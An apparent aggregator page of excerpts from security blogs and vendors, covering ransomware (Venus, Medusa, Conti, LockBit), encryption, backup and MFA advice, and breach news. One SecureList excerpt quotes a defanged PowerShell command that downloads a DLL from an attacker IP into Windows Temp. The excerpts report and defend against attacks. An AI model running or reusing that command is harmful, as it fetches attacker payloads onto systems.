Thales Cloud Protection & Licensing

NOVEMBER 20, 2023

The Indispensable Role of End-to-End Encryption in the Age of Mobile Wallets Mobile wallets and online transactions are now as commonplace as physical cash transactions. Today, using Point-to-Point Encryption (P2PE) isn't just a luxury; it's a necessity. The security of our financial data is of paramount importance.

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Malwarebytes

OCTOBER 20, 2022

Bleeping Computer reports that individuals behind Venus ransomware are breaking into “publicly exposed Remote Desktop services”, with the intention of encrypting any and all Windows devices. Do not rename encrypted files. Since at least August 2022, Venus has been causing chaos and has become rather visible lately.

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Vipre

MAY 5, 2021

Do you backup your business data regularly? Backup your data, system images, and configurations, test your backups, and keep the backups offline. Verify the integrity of those backups and test the restoration process to ensure it is working. Download: SMBs Under Attack eBook.

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eSecurity Planet

JUNE 16, 2022

Cyber criminals may damage, destroy, steal, encrypt, expose, or leak data as well as cause harm to a system. Encrypted threats spiked 167%, ransomware increased 105%, and 5.4 In May, cybersecurity researchers revealed that ransomware attacks are increasing their aggressive approach by destroying data instead of encrypting it.

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Malwarebytes

OCTOBER 11, 2023

In response, the Medusa ransomware group has made data stolen in the attack available for download on its dark web leak site, saying the "Company came to the tor chat but didn't answer for the payment yet." Their data is now available for download on the dark web. Stop malicious encryption. Create offsite, offline backups.

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Errata Security

JANUARY 28, 2020

The report says: analysis revealed that the suspect video had been delivered via an encrypted downloader host on WhatsApp’s media server. Due to WhatsApp’s end-to-end encryption , the contents of the downloader cannot be practically determined. Now let's talk about "end-to-end encryption".

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Thales Cloud Protection & Licensing

NOVEMBER 13, 2023

Use of encryption to protect sensitive data and multi-factor authentication to protect credential compromise are standard prevention best practices. A robust disaster recovery plan, bolstered by regular backups and staff training, are essential in mitigating the risks and potential financial loss of these attacks.

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eSecurity Planet

APRIL 19, 2023

authentication to gather endpoint information for reporting and enforcement. For example, encryption keys, administrator passwords, and other critical information are stored in the Azure Key Vault in FIPS 140-2 Level 2-validated hardware security modules (HSMs). Agents Portnox does not require an agent.

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Centraleyes

FEBRUARY 25, 2024

This challenge aligns with risks such as Broken Authentication (OWASP API2) and Broken Function Level Authorization (OWASP API5), where weak authentication mechanisms or flawed access controls can result in unauthorized access. Encryption is vital due to the distributed and multi-tenant nature of cloud services.

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The Last Watchdog

MAY 5, 2022

Back up your data and secure your backups in an offline location. If the data is online, then it’s accessible to bad actors and just waiting to be encrypted for ransom. Enable multi-factor authentication (MFA) to access your applications and services, especially for admin access to platforms and backend systems.

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Malwarebytes

JANUARY 3, 2023

If you haven’t done so already, we would advise that you enable multi-factor authentication (MFA) on your LastPass accounts so that threat actors won't be able to access your account even if your password was compromised. Usually, these passwords are stored in an encrypted database and locked behind a master password.

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Security Affairs

FEBRUARY 10, 2023

Attackers use staged payloads with customized malware to perform reconnaissance activities, upload and download additional files and executables, and execute shell commands [ T1083 , T1021 ]. Move Laterally and Discovery [ TA0007 , TA0008 ].

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CyberSecurity Insiders

APRIL 16, 2023

Latest email security trends Phishing and spear-phishing attacks: Phishing is a type of social engineering attack where cybercriminals use deceptive emails to trick recipients into divulging sensitive information or downloading malware.

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Security Boulevard

MARCH 25, 2022

This blog will highlight the most recent changes to the ransomware and how Conti improved file encryption, introduced techniques to better evade security software, and streamlined the ransom payment process. Start encryption using the specified path as the root directory. Size parameter for large file encryption.

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eSecurity Planet

DECEMBER 7, 2023

Encryption uses mathematical algorithms to transform and encode data so that only authorized parties can access it. What Encryption Is and How It Relates to Cryptology The science of cryptography studies codes, how to create them, and how to solve them. How Does Encryption Process Data? How Does Encryption Process Data?

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Malwarebytes

MARCH 13, 2023

The CVE of the exploited vulnerability is CVE-2023-0669 , and described as a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. Stop malicious encryption. Create offsite, offline backups.

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Malwarebytes

JANUARY 15, 2023

Ensure your RDP points are locked down with a good password and multi-factor authentication. Backup your data. Backups are the last line of defence against an attack that encrypts your data. This makes your backups a target for attackers, so they need to be offline and offsite so they are completely out of reach.

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CyberSecurity Insiders

SEPTEMBER 14, 2021

They can both encrypt data and hide an IP address by using a secure chain to shield network activity. Backup and recovery – according to FEMA , 40% of small businesses never reopen after a disaster. Secure wireless networks – if you have a Wi-Fi network in your workplace, ensure it is secure, encrypted, and hidden.

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Security Boulevard

JANUARY 17, 2024

Figure 1 — Cloudflare RBI Diagram The primary focus of RBI is to prevent user interactions with web-based malware such as cross-site scripting (XSS), drive-by downloads, and various forms of malicious JavaScript. Other RBI solutions are set to a fail-closed state that blocks the download of a file if it cannot scan it.

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Malwarebytes

MAY 28, 2021

Recipients are encouraged to click this link, which actually contains code that allows for the download and execution of either Bazar , a backdoor, or IcedID (aka BokBot), a Trojan. The files are then held for ransom and the victim is threatened by data loss, because of the encryption, and leaking of the exfiltrated data.

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Security Affairs

SEPTEMBER 23, 2020

The operators use a suite of custom tools with the ultimate goal of encrypting files in the infected system and holding it for a ransom of about $50,000. By clicking the link, the victim downloaded a ZIP-archive that contained a unique custom backdoor, dubbed TinyNode. 1 Phishing email sent on behalf of a Belarusian plant.

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Spinone

DECEMBER 23, 2019

Data Security: Airtight Backup If you don’t have a robust Data Loss Protection (DLP) plan, all your security strategy will fall apart. The core of all the DLP plan is having a ransomware-proof backup that will let you restore data in case you get hit. Backup your data at least three times a day; 3.

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Security Affairs

MAY 21, 2020

“It was designed to download payloads intended to exfiltrate XG Firewall-resident data. Passwords associated with external authentication systems such as AD or LDAP are unaffected. The hackers exploited the SQL injection flaw to download malicious code on the device that was designed to steal files from the XG Firewall.

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Malwarebytes

MAY 23, 2023

Specifically, the agency added: Recommendations for preventing common initial infection vectors Updated recommendations to address cloud backups and zero trust architecture (ZTA). Implement phishing-resistant multi-factor authentication (MFA) for all services, particularly for email, VPNs, and accounts that access critical systems.

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CyberSecurity Insiders

FEBRUARY 25, 2022

However, all of them appear to attempt to exfiltrate victims’ data before starting the encryption process, gaining extortion power for subsequent requests. However, this also enables attackers to encrypt the centralized virtual hard drives used to store data from across VMs, potentially causing disruptions to companies.

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Spinone

JANUARY 28, 2020

Your files have been encrypted, or your screen has been locked, and you have no desire to fork out on getting the access back. But getting your data back without removing the source means you can get your files encrypted again. Usually, it accuses a user of watching pornography or some illegally downloaded material.

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Hacker Combat

JUNE 2, 2022

Data is exfiltrated using an off-the-shelf and custom program to activate the LockBit ransomware in encrypting the victim’s files. To detect attacks, scan all emails and conduct regular data backups. For added account protection, use strong passwords and activate multi-factor authentication. Final Remarks.

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Malwarebytes

MAY 2, 2022

This is often followed by activity that escalates an attacker’s privileges, lateral movement through a network, and finally encryption of the victim’s data. Customers with EDR had alerts showing that a Hafnium breach was the initial compromise before encryption occurred but they ignored the alerts.”

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Spinone

AUGUST 14, 2020

Use multi-factor authentication (MFA). Having a backup is a great way to protect your data and recover it if the need arises. That’s why backup is required to protect PHI. Make sure that PHI is encrypted. Encryption is one of the best security measures. Implement strong password policies.

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Spinone

DECEMBER 20, 2018

Encryption In Flight and At Rest Data We hear about encryption quite a lot these days. Many attach the word encryption to bad guys who use ransomware to encrypt data and then hold that data hostage until a ransom is paid. Sadly, ransomware sheds a bad light on encryption. What is encryption anyway ?

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SC Magazine

MARCH 15, 2021

Under its new and improved set-up, Rockingham employs a primary backup server that backs itself up in network storage boxes at multiple offsite locations. “It It holds our information two to four weeks, depending on the load, but we take that backup and send it to two different locations in Google,” said Sensenich.

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SecureWorld News

OCTOBER 8, 2023

Use the 3-2-1 backup rule. Make it a habit to reboot devices often, ensuring that downloaded updates are activated. Additionally, be cautious when adding new friends; verify their authenticity through known offline connections. Avoid charging mobile devices through a computer; instead, use separate adapters.

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Malwarebytes

OCTOBER 12, 2021

A TCC prompt asking the user to allow access to the Downloads folder. Malware often wants access to your sensitive data, either to steal it or to encrypt it and demand a ransom. In other words, if you connect a drive named “backup”, it would become accessible on the system at /Volumes/backup.

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Security Boulevard

JUNE 2, 2022

Double-extortion attacks, which include data exfiltration in addition to encryption, are rising even faster at 117% year-over-year. This allows you to minimize the data that can be encrypted or stolen, reducing the blast radius of an attack. Deploy inline data loss prevention. Have a response plan. About ThreatLabz.

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SecureList

JUNE 30, 2022

Before V2 (excluded), SessionManager did not encrypt or obfuscate command and control data. Notably, operators used Powershell WebClient functionality from a SessionManager remote execution command to download from the server IP address 202.182.123[.]185, DownloadFile('hxxp://202.182.123[.]185/Dll2.dll','C:WindowsTempwin32.dll')"

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Security Affairs

OCTOBER 13, 2020

As an example, we could use communications between systems that are not properly encrypted. Improper encryption. Hackers or other malicious sources can intercept poorly encrypted communications on the web. If such processes lack proper authentication steps, they could work as gateways for bigger problems.

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Spinone

DECEMBER 26, 2018

If Ransomware starts encrypting files on-prem, One Drive simply views the files as “changed” and would trigger a synchronization with the One Drive public cloud. This includes detecting risky behavior, and suspicious data downloads. Requiring another login forces authentication on the credentials again.

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